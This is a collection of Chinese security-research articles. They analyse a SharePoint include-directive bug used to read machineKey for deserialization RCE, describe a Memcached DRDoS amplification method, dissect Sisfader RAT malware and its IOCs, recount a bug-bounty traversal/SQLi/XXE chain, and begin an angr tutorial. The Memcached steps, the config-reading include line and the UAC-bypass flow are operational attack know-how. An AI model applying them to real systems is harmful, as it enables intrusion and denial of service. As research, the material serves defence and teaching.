上个月花了点时间学习了该议题，该议题实际上分为 **java** 和 **.net** 两部分， **java**
部分比较直观也很精彩，本文不做讨论。由于之前对 **.net** 以及 SP 不太熟悉，于是搭了环境逐个调试了文中提到的漏洞。看议题的 writeup
时由于作者的讲述逻辑很清晰，感觉没啥问题，实际上手调试时仍遇到不少问题，在此记录这些问题与我的理解。
## 调试环境
Server2016
SP2016
## 背景知识
SP 一句话概括：微软用 **.net** 开发的一套 cms。既然是 cms 肯定允许用户上传，普通用户通过 `PUT /my.aspx`
的方式就可以上传自己写的任何内容，之后通过 `GET /my.aspx` 可以看到。
虽然我可以在 my.aspx 中写任何内容，但并不是我写的任何内容都会被 SP 服务端解析，不然任何 authed 用户都可以 rce 了。这里就要提到
SP 的沙箱机制。
上图是 writeup 中对 SP 沙箱的抽象，翻译过来就是，出于安全性考虑，通过 web 上传的用户网页文件 **存储在数据库中而非文件系统**
。如此，在网页解析时，从数据库中取出的网页文件被阉割了一部分功能，比如本地文件包含指令 `<!-- #include PathType = FileName
-->`，这类 aspx 就像运行在一个沙箱中。
上述逻辑具体是通过`Microsoft.SharePoint.ApplicationRuntime.SPPageParserFilter`
来实现，实际上是通过网页文件的 path 来区分：
如果进入了`if`分支，沙箱就会生效，简称 **filter** 机制。
**但是**
，在服务端最终用`System.Web.UI.TemplateControl.ParseControl()`解析网页时，如果按照下面的方式使用：
ParseControl(content);
ParseControl(content, ?true?);
filter 机制就会 **失效** ，只有第2个参数 **显示指定为 false** 时才
ok，我猜作者大概按照这个思路没有找到直接可用的漏洞，但是发现在 design mode 下，filter
机制都会失效，但是会有新的校验方法：`Microsoft.SharePoint.EditingPageParser.VerifyControlOnSafeList()`
// Microsoft.SharePoint.EditingPageParser
internal static void VerifyControlOnSafeList(string dscXml, RegisterDirectiveManager registerDirectiveManager, SPWeb web, bool blockServerSideIncludes = false)
这个方法简称 **verify** 机制，和`ParseControl`一样，最后一个参数也会影响安全因素，当最后一个参数为 `false` 时（默认
`false`），允许使用 `include` 指令。
我在之前的 [CVE-2020-17083：Exchange Authed Rce
分析](https://mp.weixin.qq.com/s/sC9rN4NhO9a6Q-uQWNXa7Q) 里提到过在
Exchange、SharePoint 里一旦可以任意读利用反序列化就可以 rce，`include` 指令就能实现任意读。
## CVE-2020-0974
漏洞原理很简单， **背景知识** 里说了，在 **verify** 机制中，`VerifyControlOnSafeList` 方法的
`blockServerSideIncludes` 参数（最后一个参数）为 `false` 时允许使用 `include` 指令。
writeup 给出了漏洞利用方法的触发点：
下面是 SP 自带的 `RenderWebPartForEdit` 用法
直接测作者给出的 poc 返回 400
发送空字符串时我注意到响应中 **RenderWebPartForEditResult** 的值都是 html 转码
就明白了这里请求中的 webPartXml 参数也 **需要 html 转码**
结果进行了4次 html 实例编码，不用解码，直接找 machineKey 对比
`C:\inetpub\wwwroot\wss\VirtualDirectories\80\web.config` 里的反序列化密钥完全一致。
另外，在 HMACSHA256 加密的情况下，我只需要 validationKey 字段就可以完成反序列化利用，别的加密方式需要更多参数本文不做讨论。
漏洞利用到此结束？ **并没有** 。这个 validationKey **不是我需要的** 。在分析 CVE-2020-16952 时我就发现
SP2016 中存在一个稳定的反序列化利用点：
`_layouts/15/zoombldr.aspx`
它位于管理 web 下，所以在 SP 中 **能读到 web.config 中的 machineKey 部分就能实现 rce** ，这也是大多数分析文章或者
poc 到实现读取 machineKey 就结束了，因为之后的流程是 SP 反序列化利用的常识。
简单解释一下，SP 下每个站的 web 根目录都有一个 web.config，这里面的反序列化加解密不是一样的，比如我的测试机上在
`C:\inetpub\wwwroot\wss\VirtualDirectories` 目录下有两个目录：
VirtualDirectories 后面的 80 和 15594 命名看着很像端口但是不是，参考 [How to: Find the Web
Application Root](https://docs.microsoft.com/en-us/previous-versions/office/developer/sharepoint-2010/ms474356\(v=office.14\))
可以知道默认安装会有两个，一个是 80 命名固定，另一个是管理 web 的 GUID，具体值随机比如这里是 15594。爆破是一个思路，另外由于
[#include](https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms524876\(v=vs.90\)) 指令支持两种模式
我测试了下面的指令没有成功 `<!-- #include virtual ="/web.config" -->` 如何更方便地获取管理 web 的 GUID
后期可能还需要探索，可以尝试在 layouts 目录下找找是否有能返回 GUID 的功能。
这里就直接用 15594 重新获取我需要的 machineKey
拿到 machineKey 后用 [ysoserial.net](https://github.com/pwntester/ysoserial.net)
生成 payload 发送给 SP 即可，由于利用 `_layouts/15/zoombldr.aspx` 反序列化 rce 在 SP
利用中是个比较常见的需求，我改了一下 [@mr_me](https://twitter.com/steventseeley) 的利用脚本，去掉了读
machineKey 的部分，做完这些就可以弹出 calc 了
## 参考
<https://i.blackhat.com/USA-20/Wednesday/us-20-Munoz-Room-For-Escape-Scribbling-Outside-The-Lines-Of-Template-Security-wp.pdf>
<https://srcincite.io/pocs/cve-2020-16952.py.txt>
* * * | 社区文章 |
----------------------------------------------------------
_____ _ ___ _
| ___| | / | | |
|___ \| |_ / /| |_ __| | __
\ \ __/ /_| | '__| |/ /
/\__/ / |_\___ | | | <
\____/ \__| |_/_| |_|\_\
----------------------------------------------------------
http://blog.csdn.net/microzone/article/details/79262549
### 基础概念
### `友情提醒：以下仅做技术研究，如有恶意利用，发起攻击，将自负法律后果`
本次反射式拒绝服务攻击技术基于全球互联网分布式的Memcached服务器，需要储备一定得安全攻防知识，网络协议知识和python代码编程技术。希望在学习本篇文章知识前自行学习相关的基础知识，文章后面同时附有参考链接。
##### 关于Memcached系统
Memcached是一个自由开源的，高性能，分布式内存对象缓存系统。Memcached是以LiveJournal旗下Danga
Interactive公司的Brad
Fitzpatric为首开发的一款软件。现在已成为mixi、hatena、Facebook、Vox、LiveJournal等众多服务中提高Web应用扩展性的重要因素。Memcached是一种基于内存的key-value存储，用来存储小块的任意数据（字符串、对象）。这些数据可以是数据库调用、API调用或者是页面渲染的结果。Memcached简洁而强大。它的简洁设计便于快速开发，减轻开发难度，解决了大数据量缓存的很多问题。它的API兼容大部分流行的开发语言。本质上，它是一个简洁的key-value存储系统。一般的使用目的是，通过缓存数据库查询结果，减少数据库访问次数，以提高动态Web应用的速度、提高可扩展性。
##### 关于分布式DDoS原理
分布式拒绝服务(DDoS:Distributed Denial of
Service)攻击指借助于客户/服务器技术，将多个计算机联合起来作为攻击平台，对一个或多个目标发动DDoS攻击，从而成倍地提高拒绝服务攻击的威力。通常，攻击者使用一个偷窃帐号将DDoS主控程序安装在一个计算机上，在一个设定的时间主控程序将与大量代理程序通讯，代理程序已经被安装在网络上的许多计算机上。代理程序收到指令时就发动攻击。利用客户/服务器技术，主控程序能在几秒钟内激活成百上千次代理程序的运行。
##### 关于反射式DRDoS原理
DRDoS是英文“Distributed Reflection Denial of Service
”的缩写，中文意思是“分布式反射拒绝服务”。与DoS、DDoS不同，该方式靠的是发送大量带有被害者IP地址的数据包给攻击主机，然后攻击主机对IP地址源做出大量回应，形成拒绝服务攻击。
### 攻击流程
##### DDoS攻击流程
要完成这个攻击流程，得至少需要三个步骤。
1 攻击者手里必须控制大量肉鸡机器，并且分布式在互联互通分布在互联上。
2 攻击者随时可以通过代理或者控制程序同时向所有肉鸡发送大量攻击指令。
3 所有肉鸡在接受指令后，同时大量并发，同时向受害者网络或者主机发起攻击行为。
##### DRDoS攻击流程
DRDoS要完成一次反射放大攻击：
1 攻击者，必须提前需要把攻击数据存放在所有的在线肉鸡或者反射服务器之上。
2 攻击者，必须伪造IP源头。发送海量伪造IP来源的请求。当然这里的IP就是受害者的IP地址。
3 反射服务器，必须可以反射数据，运行良好稳定。最好是请求数据少，返回数据成万倍增加。
如此不断循环，就可以大规模攻击其带宽网络，增加占用率和耗损目标机的硬件资源。
利用Memcached实现的DRDos攻击反射流程
>
>
### 存活机器
首先我们要找到大量反射服务器，利用搜索引擎去发掘全球可利用在线服务器。这里我暂时用zoomeye进行搜集，你也可以用别的搜索引擎，比如shodan等。默认开启端口号是11211,利用知道创宇得钟馗之眼空间引擎搜索到全球538317台机器开启11211端口，运行着Memcached缓存服务系统。但是利用条件还有一个，就是我们还得进一步帅选确认是否开启默认可以登录的机器，这样就可以被我们所利用了。有些已经设置了安全认证，那么就无法使用了。
### 通信协议
从协议看，memcache同时监听tcp和udp。也就是说它本身支持两种协议同时可以发起交互和通信。这个就很关键了。大家可以看看tcp和udp协议区别。由于TCP是字节流，没有包的边界，无所谓大小，一次发送接受的数据取决于实现以及你的发送接收缓存大小。
TCP没有限定，TCP包头中就没有“包长度”字段，而完全依靠IP层去处理分帧。
>
>
但是UDP协议就不一样了，他不基于连接，直接发送数据报到目标机器。
>
>
注意这个Length字段，只占有两个字节。所以说UDP协议发送数据就有了限制，单次最大发送2^16=65535=64KB。
如果想要发送更大数据包，那么只能使用TCP协议或者UDP多次发送来实现，这里我已经测试过，两种协议均可以实现。
小结：
1、TCP面向连接（如打电话要先拨号建立连接）;UDP是无连接的，即发送数据之前不需要建立连接。
2、TCP提供可靠的服务。也就是说，通过TCP连接传送的数据，无差错，不丢失，不重复，且按序到达;UDP尽最大努力交 付，即不保证可靠交付。
3、TCP面向字节流，实际上是TCP把数据看成一连串无结构的字节流;UDP是面向报文的。UDP没有拥塞控制，因此网络出
现拥塞不会使源主机的发送速率降低（对实时应用很有用，如IP电话，实时视频会议等）。
4、每一条TCP连接只能是点到点的;UDP支持一对一，一对多，多对一和多对多的交互通信。
5、TCP首部开销20字节;UDP的首部开销小，只有8个字节。
6、TCP的逻辑通信信道是全双工的可靠信道，UDP则是不可靠信道。
好了，明白了这个，我们就看看怎么利用基于TCP和UDP协议通信的Memcached缓存系统。由于Memcached系统支持最大键值单数据对1M存储。所以我们最大只能存储1M，当然你可以作多个字段，这样也会放大。那首先按照流程图我们向远程服务器提前存储有效载荷，这里就是数据了。利用TCP协议可以一次性发1M，但是我们要是利用UDP就得循环发送多次才能完成1M数据传输。由于UDP具有不稳定性，数据包不保证可靠交付。这里我建议使用TCP进行发送。
### 数据格式
Memcached简洁而强大。它的简洁设计便于快速开发，减轻开发难度，解决了大数据量缓存的很多问题。它的API兼容大部分流行的开发语言。本质上，它是一个简洁的key-value存储系统。
一般的使用目的是，通过缓存数据库查询结果，减少数据库访问次数，以提高动态Web应用的速度、提高可扩展性。
**支持有如下所有命令和操作。**
Memcached 存储命令
Memcached set 命令
Memcached add 命令
Memcached replace 命令
Memcached append 命令
Memcached prepend 命令
Memcached CAS 命令
Memcached 查找命令
Memcached get 命令
Memcached gets 命令
Memcached delete 命令
Memcached incr/decr 命令
Memcached 统计命令
Memcached stats 命令
Memcached stats items 命令
Memcached stats slabs 命令
Memcached stats sizes 命令
Memcached flush_all 命令
这里我们重点介绍三种命令，因为我们的攻击流程中将会涉及了这三种方式。
第一个是上传有效载荷Memcached set 命令
Memcached set 命令用于将 **value(数据值)** 存储在指定的 **key(键)** 中。
如果set的key已经存在，该命令可以更新该key所对应的原来的数据，也就是实现更新的作用。
set 命令的基本语法格式如下：
set key flags exptime bytes [noreply]
value
参数说明如下：
* **key：** 键值 key-value 结构中的 key，用于查找缓存值。
* **flags** ：可以包括键值对的整型参数，客户机使用它存储关于键值对的额外信息 。
* **exptime** ：在缓存中保存键值对的时间长度（以秒为单位，0 表示永远）
* **bytes** ：在缓存中存储的字节数
* **noreply（可选）** ： 该参数告知服务器不需要返回数据
* **value** ：存储的值（始终位于第二行）（可直接理解为key-value结构中的value）
*
第二个反射有效载荷Memcached get 命令
Memcached get 命令获取存储在 **key(键)** 中的 **value(数据值)** ，如果 key 不存在，则返回空。
get 命令的基本语法格式如下：
get key
多个 key 使用空格隔开，如下:
get key1 key2 key3
参数说明如下：
* **key：** 键值 key-value 结构中的 key，用于查找缓存值。
第三个是退出远程服务器。quit\r\n命令即可，没有任何参数，注意要有回车换行。
### 攻击步骤
##### 自动化上传有效载荷
到了这里，我们接下来就是如何利用这个过程实现DRDoS反射拒绝服务攻击。
思路是这样的：我们先批量上传指定数据到远程开放服务器Memcached上面，然后我们再去Memcached服务器请求查询数据上一步存储的数据，（这一步很关键，我们只能利用UDP协议进行反射，后面说明一下为什么。）这样就可以将数据通过Memcached服务器反射到目标受害机器上了。这里我们可以自己手动编写程序实现批量自动化上传有效载荷到远程服务器，等待上传完了我们就可以进行UDP反射攻击了。
这里我用python脚本完成payload数据上传。（Poc不提供）
##### 自动化反射有效载荷
这里得注意一下，上面的自动化上传我使用了TCP协议发送数据包，反射我必须使用UDP协议。因为只有UDP协议是基于无连接的，这样我们直接发送数据到目标服务器，不需要进行三次握手。同时服务器接收方也无法验证客户源IP，因此这个过程我们才可以利用UDP伪造源地址，实现反射DRDoS攻击过程。
利用socket和scapy库开发，采用多线程进行循环请求。（特别注意UDP协议使用的时候，每个操作命令必须都要添加数据包结构要加头部8字节标志位，
"\x00\x00\x00\x00\x00\x01\x00\x00"）
这里使用python脚本完成反射攻击。
输出，可以实现
测试wireshark抓包
这里不妨可以进行一个大概理论计算
比如单台服务器我们虽然只发送的攻击指令只有二十个字节数据，但却可以返回1M数据。1M/20=5W（5万倍放大率），这可谓四两拨千斤。假设理想状况下我们现在手里有50W可用机器，那么我们的DRDoS理论值数值将会达到约50W*1M=500GB。大家想想这个是多么恐怖的带宽和数据。现在目前国内能够抵御短时间发起这么大的DDoS攻击的，几乎没有。比如去年攻击阿里云超过14小时,峰值流量达到453.8G。而DRDos可以只需要一分钟就能实现高达500G流量，这将是多么可怕的事情，多大的灾难。
### 总结体会
关于这项DRDoS技术经过几天摸索研究也算已经了解清楚了，但是测试中发现有的网络环境里面会被一些路由器纠正源地址，使得反射攻击失败。究其原因是因为其增加的uRPF机制，（Unicast
Reverse Path
Forwarding是一种单播反向路由查找技术，用于防止基于源地址欺骗的网络攻击行为。）重新修复了UDP源地址伪造。不过有些环境中没有这种机制的，那么我们就可以利用此方法实现攻击。在这里分享给大家，希望可以有人继续深入分析和钻研，其中涉及利用的思路和技巧也可学习学习。比如说利用其免费的互联网存储资源，将你的数据源进行分布式存储，当做你的分布式私密云盘。
**友情提醒：以上仅做技术研究，如有恶意利用，发起攻击，将自负法律后果**
### 参考学习
[http://memcached.org](http://memcached.org/)
<http://www.runoob.com/memcached/memcached-tutorial.html>
[
https://baike.baidu.com/item/DRDoS/9222989?fr=aladdin](https://baike.baidu.com/item/DRDoS/9222989?fr=aladdin)
<http://artur.ejsmont.org/blog/content/memcache-over-udp-transport-protocol-is-not-really-so-cool>
<https://github.com/memcached/memcached/blob/master/doc/protocol.txt>
[https://baike.baidu.com/item/%E5%88%86%E5%B8%83%E5%BC%8F%E6%8B%92%E7%BB%9D%E6%9C%8D
%E5%8A%A1%E6%94%BB%E5%87%BB/3802159?fr=aladdin&fromid=444572&fromtitle=DDOS](https://baike.baidu.com/item/%E5%88%86%E5%B8%83%E5%BC%8F%E6%8B%92%E7%BB%9D%E6%9C%8D) | 社区文章 |
# 对利用CVE-2017-8750漏洞的恶意RTF文档分析
##### 译文声明
本文是翻译文章
原文地址：<https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/june/cve-2017-8750-rtf-and-the-sisfader-rat/>
译文仅供参考，具体内容表达以及含义原文为准。
## 写在前面的话
在2018年4月下旬，NCC集团的研究人员发现了少量利用CVE-2017-8750传播的恶意文档。这些文件的目的在受害者的机器上安装远程木马（RAT）。本文对文档及其payload进行了深入分析。
下面的图1显示了恶意文档和恶意软件安装的工作流程。
## CVE-2017-8750 RTF
如前所述，RAT的感染载体是采用CVE-2017-8750的RTF文件的形式（图2）。
SCT文件包含一组模糊的Javascript。有一个非常大的加密数据，后面还跟着一个模糊的解密例程。可以在图4中看到去掉大字符数组的Javascript代码。
## 什么是WLL文件
Javascript代码的目的是解密并将文件`“wordHelpAss.wll”`写入Word
STARTUP目录。WLL文件实际上只是一个普通的DLL文件。这项技术并不新奇，前面已经描述过，但它不是我们通常看到的技术。另一个有趣的地方是，payload不会马上被执行。实际上，当下一个Word打开时，WLL文件才会被执行。这会阻碍自动分析系统，因为Word在分析过程中一般不会重新启动。当最终执行WLL文件时，它将安装RAT有效载荷。
## Sisfader RAT
由于WLL文件安装的payload不是一个普通的RAT。其他行业合作伙伴已将此RAT
Sisfader命名，我们采用这个名称来保持一致性。它维护自身作为系统服务的持久性，并具有多个组件，如下表所述。
## Dropper
该dropper是一个x86PE文件。它负责在受害者的计算机上安装恶意软件。恶意软件组件位于droppers的资源部分，如图所示。
## 执行流程
该dropper以`anti-emulation`开始，采用线程的形式，该线程反复调用`PostMessageA()`，参数为`0x5ACE8D0A`（参见图）。主线程调用`GetMessageA()`
并等待接收响应。如果消息参数不是`0x5ACE8D0A`，那么程序将退出并且恶意软件不会被安装。
下一步是解密Config，它是位于`.data`部分的354字节字符数组。所使用的解密算法是使用16字节滚动键的简单XOR循环。在此之后，恶意软件会检查它具有的权限。如果不是很高，它将尝试执行提升（稍后将在本文中介绍此方法）。安装之前的最后一步是生成用于C2服务器识别主机的唯一ID（UUID）。
在确定了系统的体系结构后，恶意软件会将两个组件写入注册表。它写入的密钥取决于它是否成功地提升了它的权限。如果以管理员身份运行，它将写入`HKCR<host_uuid>`。如果不是，它会写入`HKCUSystemCurrentControlSetControl`。
现在是编写加载程序DLL的时候了，它可以使恶意软件保持持久性。AUTO资源被加载，并被复制到分配的内存`GlobalAlloc`中。然后调用一个查找标记`（0xFE19C04F）`的函数。当找到标记时，写入先前生成的主机UUID。
下一步是将自动DLL写入磁盘。这可以在三个位置之一，依赖于检查。
1.`C:WindowsSystem32iscsiexe.dll`
该文件实际上被覆盖。有效负载中有代码来控制文件，以便系统不会尝试将原始文件写回。
2.`C:WindowsSystem32appmgmts.dll`
仅限XP。有效负载将尝试从dllcache中删除原始内容，以便恶意软件不会被它取代。
3.`％LOCALAPPDATA％ AppUIHelper.dll`
然后，恶意软件被安装为一个服务，使用下列名称之一:
* AppMgmt
* MSiSCSI
## 注入和UAC Bypass
如前所述，如果进程尚未以Admin身份运行，那么它将尝试提升其权限。这是它是如何做到的：
1.用`DEBUG_PROCESS`创建标志创建一个新的进程（explorer.exe / select）。
2.调用`WaitForDebugEvent`代码CREATE_PROCESS_DEBUG_EVENT 查找事件。
3.将`WriteProcessMemory`一些代码和一段数据注入到资源管理器进程中。此代码执行CMSTPLUA UAC bypass;
用提升的权限重新启动恶意软件payload。在资源管理器进程的入口点注入代码。该地址是从函数`_DEBUG_EVENT`返回的结构中获得的`WaitForDebugEvent`。
4.调用ContinueDebugEvent恢复执行注入的资源管理器进程。
这项技术虽然很少，但并不新鲜。至少在2013年，它被一个名为Win32 / Napolar上使用过。
## 自动加载程序
恶意软件的主要代码实际上是在DllMain中，而不是ServiceMain函数。服务本身并没有实际做任何事情。
自动DLL的目的是从注册表中提取Agent DLL和Config，反射加载Agent
DLL并调用并导出Agent（在这种情况下为Initialize函数）。Initialize函数将主要的恶意软件函数返回到缓冲区。然后代理调用它，传递配置。
## 代理
代理与服务器执行一次握手，然后监听命令。它通过TCP进行通信。通讯端口位于Config中（在本例中为9000）。所有通信都以DWORD作为前缀：`0xFFDDEEAA`它初始化一个包含其操作数据的结构。这种结构将被传递给网络通信功能。
## 网络通信
它有自己的通信协议。报头长度为0x24字节，其后有任何附加数据。头结构如下：
命令数据使用从配置中的数据计算的0x10字节滚动密钥进行XOR加密。在大多数情况下，要确认C2已收到该命令，它将发回没有数据相同的命令代码。
## 命令代码
> IOCs
> File paths
> %LOCALAPPDATA%AppUIHelper.dll
> C:WindowsSystem32appmgmts.dll (XP only)
> C:WindowsSystem32iscsiexe.dll (overwritten)
>
> Registry keys
> HKCR<uuid>b
> HKCR<uuid>c
> HKCUSystemCurrentControlSetControlb
> HKCUSystemCurrentControlSetControlc
>
> Services
> AppMgmt
> MSiSCSI
>
> URL
> cv3sa.gicp[dot]net
> kmbk8.hicp[dot]net
>
> IP Addresses
> 103.255.45.200:9000
>
> Files Analysed
> cdcafe42a688ee042dc023128b7da9e591a01f1a163f9644db774acfe1d6d044
> f1d99e124bf644cc20c7ac93701563ed19978bcf32337e3700b2fbc8a9023b82
参考:
<https://securingtomorrow.mcafee.com/mcafee-labs/dropping-files-temp-folder-raises-security-concerns/>.
<https://labs.mwrinfosecurity.com/assets/BlogFiles/WilliamKnowles-MWR-44con-PersistingWithMicrosoftOffice.pdf>.
<https://gist.github.com/hfiref0x/196af729106b780db1c73428b5a5d68d>.
<https://www.welivesecurity.com/2013/09/25/win32napolar-a-new-bot-on-the-block/>.
审核人：yiwang 编辑：边边 | 社区文章 |
原文链接：https://www.ibrahim-elsayed.com/?p=150
原作者：Ibrahim M. El-Sayed
译： **RunningSnail**
**译者注** ：作者分享了他是如何通过文件遍历+SQL注入+XXE漏洞的组合拳一步步渗透Deutsche
Telekom网站，并且不厌其烦地告诉我们信息收集在渗透测试中的重要性。初次翻译，如有不足之处忘各位看官轻喷。
我一直认为在漏洞赏金项目中找到漏洞是件容易的事，其中主要的技巧在于信息收集阶段。这篇文章的目的不只是演示这些漏洞以及如何找到他们，也是为了演示在渗透测试（寻找漏洞）的过程中如何进行出色的信息收集。许多人都不分享他们是如何找到漏洞的，对此我深表理解，我也不打算分享我所有的技术但是我会在这篇文章中分享一些重要的技巧。
在我们开始这篇文章前，让我简要的介绍下Deutsche Telekom。
Deutsche Telekom AG（德国电信）是一个总部位于波恩的德国通信公司。Deutsche
Telekom成立于1996年。2012年Deutsche
Telekom建立了他们的漏洞赏金项目。他们有个非常有趣的漏洞赏金项目，从它开始之初（大概三年前）我就一直参与其中。我最喜欢他们赏金项目的地方在于他们只接受远程代码执行（RCE），SQL注入（SQLi）和其他高危漏洞（不同人的评判不同）。他们不接受xss，csrf和其它客户端的攻击。对我来说这非常具有挑战性。
一切都从下面这个子域名说起：https://raz.telekom.de/
。我用了各种搜索引擎来搜索这个子域名（感谢sublist3r），但是我没有找到任何与它相关的信息。我也用了subbrute去尝试所有的3位字母组合，但是暴力枚举后没有什么发现。
当我访问“ https://raz.telekom.de/ ”时，页面返回403。
我用dirbuster的自定义字典找到了一些页面。下面是main.php页面的截图：
从这个页面中你可以看到，也许是因为混乱的session管理，我以一个guest用户的身份成功登录并且可以进行一些操作。在开始寻找漏洞前，我总是努力去理解应用程序的目的以及它是如何工作的。这是信息收集过程的重要一步，是无法用任何工具实现的。我看了下这个应用并试了下不同的功能。从应用的名字可以看出，它是一个许可证管理应用，我可以导入许可证，验证不同设备的许可证，更新许可证并查看许可证的信息。对我来说，这是个非常有趣的应用程序，有许多吸引人的功能可以去测试。我总是喜欢从“丰富的”功能下手。最终，我决定从“许可证导入”处的上传功能开始。我尝试上传一些不同后缀名的文件，但是每次我都得到了下面的报错信息。
从页面的报错信息中可以看出，我上传的文件与定义在配置文件（test
date）中的特定格式不相符。我想我需要找到这个配置文件然后上传一个正确的符合配置文件中定义格式的文件，然后才能通过注入php代码或者SQL注入来实现远程代码执行。
开始寻找这个配置文件，下面是上传我的许可证时发送的请求：
我在“conf”变量（似乎是配置文件的一个参数）处加了一个单引号，可以看到页面报错“文件似乎不存在或者不可读”。我决定尝试文件遍历来看下我能否读这个文件或者判断出它的路径来直接访问它。
我在“conf”变量值前加上“./”，代码成功解析了配置文件。
我尝试直接在根目录下访问“test date”（https://raz.telekom.de/test%20date
），但是却不存在。可能配置文件在另一个文件夹下。当我在“man”参数后加上单引号时，得到了同样的错误信息“无法解析文件”。
我想“man”参数的值“Funkwerk”应该是配置文件的父目录。因此我在“conf”变量的值“test date”前加上“../Funkwerk/”。
“test
date”文件被成功解析。正如预料的那样，“man”参数是配置文件所在的目录（“Funkwerk”也许是“manufacturer”的缩写）。我继续我的猜想并尝试直接访问配置文件。我试了下“https://raz.telekom.de/Funkwerk/test
date ”，但是却不存在。显然我可能少输了一些内容。我试了下“https://raz.telekom.de/Funkwerk
”，但是也不存在，也许这个目录不在应用上，或者“Funkwerk”有父目录。我用Dirbuster去枚举所有可能的目录（信息收集永远不会结束）。我写了一个python脚本将dirbuster的字典作为“Funkwerk”目录的父目录。如果我得到的结果不是404说明找到了父目录，最后确认父目录是“config”。有意思，离成功近了一步！
当我访“https://raz.telekom.de/config/Funkwerk
”时，页面返回403。为了下载这个配置文件，我得找到它的扩展名。但是在开始寻找扩展名之前，我决定寻找另一个配置文件，因为“test
date”可能只是一个测试用的文件，不会有任何有价值的内容。接着我进行了如下测试（实际上这是很愚蠢的行为）：
接着我试了下文件遍历：
为了得到配置文件的扩展名（收集信息永远不会结束），我决定写一个Python脚本来枚举“https://raz.telekom.de/config/OneBridge/obmg
.[4个字母]”。我尝试了所有的3到4个字母组合，最终确定了扩展名是“ini”。
访问“obmg.ini”，结果如图：
尴尬，这个文件才应该叫做“test”不是o(╯□╰)o。
接着我访问了“test date”文件，如图：
### CSV
我们可以上传一个以“;”作为分隔符的CSV文件，一切都如我猜想的那样。现在我需要测试CSV文件中能否插入SQL代码和php代码，看下它是否会存为php页面。我可以上传任意扩展名的文件，只要它的内容与配置文件中定义的格式相符就行，所以我上传了一个各个字段都是“<?phpinfo();?>
”的CSV文件。利用Dirbuster找到了一个“uploads”目录。每次我上传一个文件，我都尝试从该目录下访问它，但是都不存在，目前来看似乎此法不通。
那么我们来试下SQL注入吧。我在CSV文件的每个字段处都加上一个单引号，结果如下：
显然是有SQL注入的，开心！下面是我的poc（报错注入）：
别急，我想用远程代码执行来拿下这个应用服务器。我决定继续寻找这个网站其他的漏洞。在继续渗透前，我需要改进下我的代码（信息收集工作永远不会结束）。我之前确定了扩展名是“ini”，我尝试去寻找所有有价值的配置文件。在代码中加入“ini”，进一步枚举“raz.telekom.de”下的有用文件。
在信息收集中，我发现了另一个页面，只要你给它一个HW序列号（HWSerNum），它就会去数据库中验证许可证的内容。我发现它是有SQL注入的（努力就有回报）。
### SQL注入 II
继续收集信息，我发现在服务器上运行着PHPMyAdmin，通过注入测试了下我是否是root用户，如果是的话我可以登录到PHPMyAdmin来提权，不过很可惜我不是root用户。接着我发现了一个有趣的配置文件“lms.ini”。
### 提权
“lms.ini”中有数据库的用户名和密码，也就是说我可以登录phpmyadmin。登录phpmyadmin后，我发现这是个有XXE漏洞的老版本phpmyadmin。我在
secforce上找到了metasploit利用代码。phpmyadmind的版本高亮如下：
成功利用XXE漏洞。
我在“lms.ini”文件中发现了一个webserver接口，而且有SQL注入。
### SQL注入 III
“lms.ini”文件中有许多有用的信息，如“.cfg”配置文件。我继续寻找远程代码执行漏洞。我全面测试了下文件上传页，我发现所有CSV文件都会重名为“[timestamp].csv”，我尝试了不同的方法来绕过，但还是没能更改扩展名。我又看了下是否有文件包含漏洞，让另一个文件来包含这个csv文件以达到代码执行的目的，可惜的是没能成功，还是不能实现远程代码执行。
然而，我还是对我的成果感到满意，因此我决定向厂商报告我的发现。这篇文章即将结束，文中我一直想强调的就是信息收集是找到漏洞的重要一环。信息收集工作永远不会结束！
* * * | 社区文章 |
# part 0
## 介绍
引用angr开发者的话
> angr 是一个python编写的二进制分析框架，它结合了静态与动态符号分析，适用于各种任务。
它功能很多，但是学习曲线陡峭，并不是因为其功能繁杂，而是因为缺少学习资料与路径。事实上，有很多ctf
writeup之类的东西写道它，但是从学习者的角度太看，这些远远不够。
回到angr，乍一看它真正吸引人的地方是它的符号执行引擎。简言之，符号执行意味着在不实际执行程序的情况下，就可以分析哪些输入经历了哪些代码路径。最常见的例子就是一个程序根据输入的一个字符串跟自身生成的字符串作比较来打印一些东西。符号执行允许我们像对待方程一样分析一个程序，解这个方程然后告诉我们正确的输入。
在angr_ctf repo
里面有写slides，因此我把学术这部分留给您。通过这些你需要知道它被称为符号执行的原因：因为程序的某些部分（本例中为输入）不是具体的值，而是符号，就像方程中的
**x** ，我们称它为路径约束符号
int x;
scanf("%d", &x);
if ((x > 1) && (x < 10)) {
puts("Success!!");
}
else {
puts("Fail.");
}
在这个代码里面， **if** 状态约束了变量 **x** 的值。假设我们对打印 **Success** 的代码路径感兴趣，我们知道 **x**
必须大于1小于10，这是成功执行该路径的约束。符号执行引擎注入一个符号 （ **λ** ）， 然后向后遍历执行以找到一个合适约束的 **λ** 值。
这里我们真正想表达的是：除非特别要求，符号执行引擎并不会真正执行程序。还有很重要的一点，符号执行会评估代码中所有分支，这就意味着当我们分析一个有很多的分支的庞大程序时会发生“路径爆炸”。某些情况下，分析的总时间会很长。发生这种情况是因为每个分支都会使符号执行引擎必须分析的状态数量加倍。
下面根据题目进行介绍
## 00_angr_find
克隆 angr_ctf 的仓库，打开
dist文件夹，里面18个题目与scafflodXX.py文件，这些py文件时包含了解决这些问题的基本框架。我们第一个挑战是
**00_angr_find** 这是一个非常简单的二进制文件，输入一个字符串，然后打印是否正确，我们对能打印 **Good Job** 的路径感兴趣
传统方法就是逆向分析 **complex_function** 函数，但这并不是个好主意。
这次我们用angr解决这个问题。
先看一下 **scaffold00.py** 文件
import angr
import sys
def main(argv):
path_to_binary = ???
project = angr.Project(path_to_binary)
initial_state = project.factory.entry_state()
simulation = project.factory.simgr(initial_state)
print_good_address = ???
simulation.explore(find=print_good_address)
if simulation.found:
solution_state = simulation.found[0]
print solution_state.posix.dumps(sys.stdin.fileno())
else:
raise Exception('Could not find the solution')
if __name__ == '__main__':
main(sys.argv)
我们逐行分析这个文件，然后编辑它以解决这个问题
import angr
import sys
前两行导入 **angr** 跟 **sys** 库， **sys** 库用于解析打印到标准输出的内容。
def main(argv):
path_to_binary = ??? # (1)
project = angr.Project(path_to_binary) # (2)
initial_state = project.factory.entry_state() # (3)
simulation = project.factory.simgr(initial_state) # (4)
在（1）处声明了要分析的程序的位置，之后将在（2）处创建一个 **Project**
对象实例。在（3）处脚本创建了一个程序入口点状态（类似于快照），最后通过传入参数 **initial_state** 调用 **simgr** 函数创建
